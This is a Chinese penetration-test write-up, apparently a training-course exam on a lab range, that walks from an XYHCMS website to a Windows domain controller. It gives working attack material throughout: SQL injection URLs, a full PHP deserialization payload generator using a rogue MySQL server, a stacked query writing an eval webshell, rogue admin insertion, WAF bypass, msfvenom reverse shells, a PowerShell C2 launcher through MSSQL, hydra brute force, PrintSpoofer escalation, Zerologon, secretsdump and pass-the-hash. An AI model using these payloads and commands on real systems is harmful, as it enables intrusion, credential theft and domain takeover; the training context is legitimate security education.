scaner从外网到拿下域控

scaner从外网到拿下域控

前言

这是个人moonsec考核的出师文章

信息收集

目录扫描

打开了站点很明显发现了这是个xyhcms,先使用御剑扫一波目录,未发现敏感信息。

漏洞整理

从网上查找该cms的一些相关的漏洞,找到了一个前台SQL注入和一些后台getshell,以及反序列化漏洞。

前台SQL注入:http://althims.com/2020/02/03/xyhcms-3-6/

后台getshell:https://h3art3ars.github.io/2020/01/27/xyhcms%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/

反序列化:https://www.anquanke.com/post/id/232823

在本地搭建xyhcms进行测试

搭建使用的是phpstudy集成工具

前台SQL注入

1
2
http://xyh.com/index.php/Api/Lt/alist
?orderby[updatexml(1,concat(char(126),(select database()),char(126)),1);]=1

image

通过日志查看结果:成功执行user()

1
http://xyh.com/App/Runtime/Logs/Api/22_05_14.log

image

反序列化

查看前面看到的反序列化文章,这个反序列化漏洞,事先需要拿到key,在本地导出了SQL文件能查询到这个key,说明该key是存在于数据库中的,可以结合前面的SQL注入拿到。

1
http://xyh.com/index.php/Api/Lt/alist?orderby[updatexml(1,concat(char(126),(select username from xyh_admin limit 0,1),char(126)),1);]=1

然后通过查看日志拿到key:iqQmhxkAU

注册一个会员

image

登录之后抓包

image

伪造nickname的值可以操作数据库

恶意MySQL服务器读取数据库文件

让系统报错,拿到绝对路径:

xyh.com/App/Api/Conf/config.php

绝对路径:

C:\phpstudy_pro\WWW\xyh.com\App\Api\Conf\config.php

image

数据库配置文件的默认路径:xyhcms\\App\\Common\\Conf\\db.php

构建的地址为:C:\\phpstudy_pro\\WWW\\xyh.com\\App\\Common\\Conf\\db.php

启动MySQL服务:

python rogue_mysql_server.py

设置POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
protected $config = array(
"dsn" => "mysql:host=192.168.8.133;dbname=xyhcms;port=3306",
"username" => "root",
"password" => "123456"
);
}

namespace Think;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new \Think\Db\Driver\Mysql();
$this->options['where'] = '';
$this->pk = 'luoke';
$this->data[$this->pk] = array(
"table" => "xyh_admin_log",
"where" => "id=0;"
);
}
}

namespace Think\Session\Driver;
class Memcache{
protected $handle;
public function __construct() {
$this->handle = new \Think\Model();
}
}

namespace Think\Image\Driver;
class Imagick{
private $img;
public function __construct() {
$this->img = new \Think\Session\Driver\Memcache();
}
}

namespace Common\Lib;
class SysCrypt{

private $crypt_key;
public function __construct($crypt_key) {
$this -> crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this -> crypt_key));
}

public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this -> crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}

private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}

public function __destruct() {
$this -> crypt_key = null;
}
}

function get_cookie($name, $key = '') {
$key = 'iqQmhxkAU';
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($name);
return unserialize($value);
}

function set_cookie($args, $key = '') {
$key = 'iqQmhxkAU';
$value = serialize($args);
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
}

$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);
?>

生成序列化参数:

image

发送数据,成功伪造。

image

查看结果

image

反序列化漏洞MySQL日志写shell

开启慢查询日志:

set global slow_query_log=1;

指定慢查询日志的位置:

set global slow_query_log_file='C:/phpstudy_pro/WWW/xyh.com/shell.php';

生成反序列化,然后构造之后发包请求,成功写入shell,(这里需要注意在一句话木马的变量传参中添加个转义“\”,不然不能完整写入)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<?php
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
protected $config = array(
"dsn" => "mysql:host=localhost;dbname=xyhcms;port=3306",
"username" => "root",
"password" => "qweas123"
);
}



namespace Think;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
protected $poss = '$_POST[1]';
public function __construct(){
$this->db = new \Think\Db\Driver\Mysql();
$this->options['where'] = '';
$this->pk = 'luoke';
$this->data[$this->pk] = array(
"table" => "xyh_admin_log",
"where" => "id=0;select '<?php @eval(\$_POST[1]);?>' or sleep(11);"
);
}

}

namespace Think\Session\Driver;
class Memcache{
protected $handle;
public function __construct() {
$this->handle = new \Think\Model();
}
}

namespace Think\Image\Driver;
class Imagick{
private $img;
public function __construct() {
$this->img = new \Think\Session\Driver\Memcache();
}
}

namespace Common\Lib;
class SysCrypt{

private $crypt_key;
public function __construct($crypt_key) {
$this -> crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this -> crypt_key));
}

public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this -> crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}

private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}

public function __destruct() {
$this -> crypt_key = null;
}
}

function get_cookie($name, $key = '') {
$key = 'iqQmhxkAU';
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($name);
return unserialize($value);
}

function set_cookie($args, $key = '') {
$key = 'iqQmhxkAU';
$value = serialize($args);
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
}

$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);
?>

至此成功在本地window搭建的phpstudy环境getshell

image

尝试线上环境

当我喜出望外拿这个方法到线上去测试的时候,发现现实是残酷的。

所有的请求都成功了,但是就是写不进shell。

image

image

于是放弃了,然后打算再重新捋一遍,然后在本地搭建模拟线上的环境。

本地搭建宝塔环境测试

使用宝塔搭建完成靶场之后,开始前面的一系列反序列化堆叠注入日志写shell的操作。

发现也也不进去,看了一下是权限的问题,文件夹改成了777权限之后,成功写入shell

image

尝试连接,发现没用访问权限

image

使用chown更改属组之后,才能正常访问,也就是说想通过反序列化堆叠SQL日志写shell是几乎不可能的

image

image

代码审计

开启伪静态:

image

目前的情况是能够通过反序列化添加管理员进入后台,在本地尝试了多个网上找到的后台getshell都无果,打算开始看看代码有没有新的入口。前面测试写入shell访问的时候,发现会自动加载一会儿,然后跳出404.html页面。

在后台里面尝试上传的地方,可以添加上传类型txt,html。

直接查看404.html,查看到嵌入有一些php代码,是获取当前时间的一段代码,也就是说这一个页面极有可能也是可以进行php解析的。

image

当我尝试改为phpinfo的时候,发现了报错

image

image

查看了过滤的代码之后,这里过滤了php相关字符的一些危险字符。

image

image

这时候尝试通过文件包含的方式去测试,在404.html页面中添加一些语句包含上传的一些代码,尝试解析。

image

image

在页面输入一个不存在的文件,尝试访问让其跳转到404.html,然后再包含上传的文件进行解析。

image

至此,成功getshell。

外部打点

SQL注入拿key

查询当前key:

1
http://103.121.93.206/index.php/Api/Lt/alist?orderby[updatexml(1,concat(char(126),(select s_value from xyh_config limit 6,1),char(126)),1);]=1

image

通过日志查看结果:

1
http://103.121.93.206/App/Runtime/Logs/Api/22_05_15.log

image

拿到key为:P4tzizR6d

反序列化漏洞利用

注册一个会员:

image

image

登录之后抓包

image

伪造nickname的值

image

image

恶意MySQL服务器读取数据库文件

让系统报错,拿到绝对路径:

http://103.121.93.206/App/Api/Conf/config.php

绝对路径:

/www/wwwroot/www.xycms.com/App/Api/Conf/config.php

image

查询知道xyhcms的数据库配置文件默认为:xyh.com\\App\\Common\\Conf\\db.php

结合上面知道的绝对路径进行构造:/www/wwwroot/www.xycms.com/App/Common/Conf/db.php

image

使用poc生成反序列化payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
protected $config = array(
"dsn" => "mysql:host=your-vps;dbname=xyhcms;port=3307",
"username" => "root",
"password" => "123456"
);
}

namespace Think;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new \Think\Db\Driver\Mysql();
$this->options['where'] = '';
$this->pk = 'luoke';
$this->data[$this->pk] = array(
"table" => "xyh_admin_log",
"where" => "id=0;"
);
}
}

namespace Think\Session\Driver;
class Memcache{
protected $handle;
public function __construct() {
$this->handle = new \Think\Model();
}
}

namespace Think\Image\Driver;
class Imagick{
private $img;
public function __construct() {
$this->img = new \Think\Session\Driver\Memcache();
}
}

namespace Common\Lib;
class SysCrypt{

private $crypt_key;
public function __construct($crypt_key) {
$this -> crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this -> crypt_key));
}

public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this -> crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}

private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}

public function __destruct() {
$this -> crypt_key = null;
}
}

function get_cookie($name, $key = '') {
$key = 'P4tzizR6d';
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($name);
return unserialize($value);
}

function set_cookie($args, $key = '') {
$key = 'P4tzizR6d';
$value = serialize($args);
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
}

$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);
?>

image

VPS进行监听:

python rogue_mysql_server.py

image

发送构造好的payload

image

VPS上查看日志:

image

拿到数据库的配置文件:

1
"\x02<?php return array (\n  'DB_TYPE' => 'mysqli',\n  'DB_HOST' => '127.0.0.1',\n  'DB_PORT' => '3306',\n  'DB_USER' => 'root',\n  'DB_PWD' => '9a973fd7928bb3c2',\n  'DB_NAME' => 'www_xycms_com',\n  'DB_PREFIX' => 'xyh_',\n  'DB_CHARSET' => 'utf8',\n);?>"

堆叠插入管理员用户

账号:sfmtql

密码:xxxxxx

1
"where" => "id=0;insert into xyh_admin (id,username,password,encrypt,user_type,is_lock,login_num) VALUES (61,'sfmtql','d4404a35b6d63a48d3b15f9bb5ffb6ba','WDdJDu',9,0,4);"

文件包含getshell

添加个html

image

/uploads/abc1/20220522/62891648bfa06.html

image

image

至此成功getshell

提权

蚁剑流量绕过宝塔

到这里的时候,使用蚁剑连接一直被办,找到了敏感词为“eval”,后面使用了参数污染添加脏数据,当我发包六万多的时候,成功绕过,最后上传一个base64的马进行连接就不会被拦了。

PHP-FPM绕过disable

尝试了很多中绕过之后,发现这种方式可以绕过,一天晚上尝试失败了很多次,莫名其妙发现第二天就好了。

查看fpm的配置文件(/www/server/php/56/etc/php-fpm.conf)可以拿到php-fpm的位置

image

成功

image

创建副本之后成功连接。

image

后来觉得中国蚁剑不好用,就改用哥斯拉了。

image

image

msf反弹shell

生成攻击载荷

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=vps LPORT=4382 -f elf >/root/moonsec/2020/project/zhinan

开始监听

1
2
3
4
5
use multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.8.133
set lport 13777
run

开启frp映射本地的13777到vps的4382

将文件上传到添加执行权限,使用哥斯拉执行即可获取到一个session

提权为root

通过上传脚本linux-exploit-suggeter.sh执行之后,能查到该服务器的一些基本信息和一些提权的CVE

image

网上搜索了一下18.04 ubuntu的提权,找到了下面的文章

https://blog.csdn.net/gh0stf1re/article/details/116193906

然后进行上传exp.c编译之后提权

gcc exp.c -o exp

./exp

sudo su切换到了root

image

image

在根目录获取到了当前的flag

image

1
moonsec_flag{moonsec-30db331044bc750a76da6dbf9e2ae190}

横向移动

信息收集

cat /etc/hosts 没发现什么网站

image

arp -a 也没发现什么IP

image

metasploit 设置代理进入内网

run autoroute -s 192.168.52.0/24

image

启动 socks 模块

use auxiliary/server/socks_proxy

set SRVPORT 22335

run

image

发现使用代理扫描太慢了,这就直接在目标安装一个nmap然后进行开扫。

sudo apt install nmap

image

探测到存活的IP:192.168.52.128

image

扫描端口信息,就只发现了一个1433的mssql端口,没发现web

image

image

hydra爆破sqlserver

翻了一圈服务器没找到什么敏感的信息可以利用,只能尝试进行爆破了。

1
proxychains hydra 192.168.52.128 mssql -l sa  -P /root/moonsec/2020/project11/top1000-moon.txt -vV -f

运气还是比较好的,爆破出来了

image

使用msf的模块进行攻击之后,发现有些命令不能执行,就只能执行了whoami,不知道是不是msf6的毛病

image

natvicat客户端连接mssql

下载natvicat,然后让其走隧道代理去连接目标

image

使用xpcmdshell执行以下命令,可以创建文件夹了

image

尝试下载生成的木马,发现没用权限,拒绝访问

image

尝试powershell上线CS,成功上线

1
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'powershell上线内容'

image

image

派生一个给msf

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost 192.168.8.133

 set lport 13782

image

提权

当前权限只是数据库权限,需要提权为system,这里使用PrintSpoofer

image

然后再上线一个system权限的session

image

导出hash

image

破解到密码

image

查看flag

type root.txt

moonsec_flag{moonsec-557be9af7d66991560155201dc521627}

image

信息收集

image

image

image

判断出是有域的,且为scaner.sec,域控名称为ad.scaner.sec

查看系统信息

image

arp -a

image

查看用户信息,没发现域用户

image

也没有域用户的进程

image

cve-2020-1472拿下域控

分析了以下前面的信息,目前能到权限,知道域控名称和域的一些信息,但是没有拿到一个域的普通用户,这时候想起了置空漏洞,这个漏洞不需要普通的域用户就可以打。

走代理打域控

1
proxychains4 ./cve-2020-1472-exploit.py ad 10.10.10.135

image

发现成功了,有些惊喜,在预料之后也在预料之外

image

Impacket secretsdump 获取域控哈希

1
proxychains4 python3 secretsdump.py scaner.sec/ad\$@10.10.10.135 -just-dc -hashes :

image

通过 smbexec 登录域控制器

1
2
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:35dc382e7d31f6823c2e34216d4c15cb administrator@10.10.10.135

image

image

拿到flag

1
2
3
type C:\Users\Administrator\root.txt
C:\Windows\system32>type C:\Users\Administrator\root.txt
moonsec_flag{moonsec-8aff4877eb76417460c0fc7f84b32566}

image